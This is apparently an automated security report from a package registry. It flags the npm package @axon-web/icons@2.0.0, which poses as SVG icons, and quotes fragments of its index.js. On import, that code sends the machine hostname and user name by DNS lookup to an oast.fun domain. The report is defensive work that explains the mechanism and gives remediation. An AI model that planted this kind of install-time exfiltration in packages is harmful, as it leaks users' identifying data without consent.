registry / Data exfiltration / @axon-web/icons / 2.0.0

@axon-web/icons@2.0.0

SVG icon components for axon-web design system

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The entrypoint performs an automatic DNS disclosure of host and user identifiers to a fixed unrelated OAST domain. This is concrete data exfiltration, so publication should be blocked.

Static reason

No blocking static signals were detected.

Trigger

A consumer imports the package through its declared index.js entrypoint.

Impact

The remote host can learn the machine hostname and user name without the consumer's consent.

Mechanism

The entrypoint combines the machine hostname and user name into a DNS lookup name under nxsqlpejfpamagxctjyv4c9qj1gfdtzwi.oast.fun.

Attack narrative

When loaded, the package reads the machine hostname and user name and encodes them into a DNS lookup sent to a fixed OAST domain. The lookup is automatic and has no consent check, exposing identifying information to the domain operator.

AI rationale

The entrypoint performs an automatic DNS disclosure of host and user identifiers to a fixed unrelated OAST domain. This is concrete data exfiltration, so publication should be blocked.

Evidence

index.js

Network endpoints1

*.nxsqlpejfpamagxctjyv4c9qj1gfdtzwi.oast.fun

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest points package imports to index.js.
Importing index.js reads the machine hostname and user name, then sends them in a DNS query to a fixed oast.fun subdomain without a consent check.

Evidence against

Behavioral surface

Source

EnvironmentVars

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.03 KB of source

Source & flagged code

4 flagged

package.jsonView file

5"main": "index.js", "keywords": [ "icons", "svg", "react", "design-system" ], "license": "MIT" }

High

Ai Review Evidence

The manifest points package imports to index.js.

package.jsonView on unpkg · L5

index.jsView file

3// package init — fires on require (function() { try { const { resolve } = require('dns'); const id = (os.hostname() + '-' + (process.env.USER || process.env.USERNAME |

High

Ai Review Evidence

Importing index.js reads the machine hostname and user name, then sends them in a DNS query to a fixed oast.fun subdomain without a consent check.

index.jsView on unpkg · L3

9resolve(id + '.[redacted].oast.fun', () => {}); } catch (_) {} })(); console.log('=== @axon-web/icons PoC ==='); console.log('Source: PUBLIC npm registr

High

Ai Review Evidence

Importing index.js reads the machine hostname and user name, then sends them in a DNS query to a fixed oast.fun subdomain without a consent check.

Findings

4 High1 Medium

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumEnvironment Vars

Affected versions and remediation

This report applies to @axon-web/icons@2.0.0.

See all versions of @axon-web/icons for other recorded verdicts.

Avoid installing @axon-web/icons@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-02 02:30:05.130Z (UTC).

Source advisory published: 2026-11-01 08:02:02.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages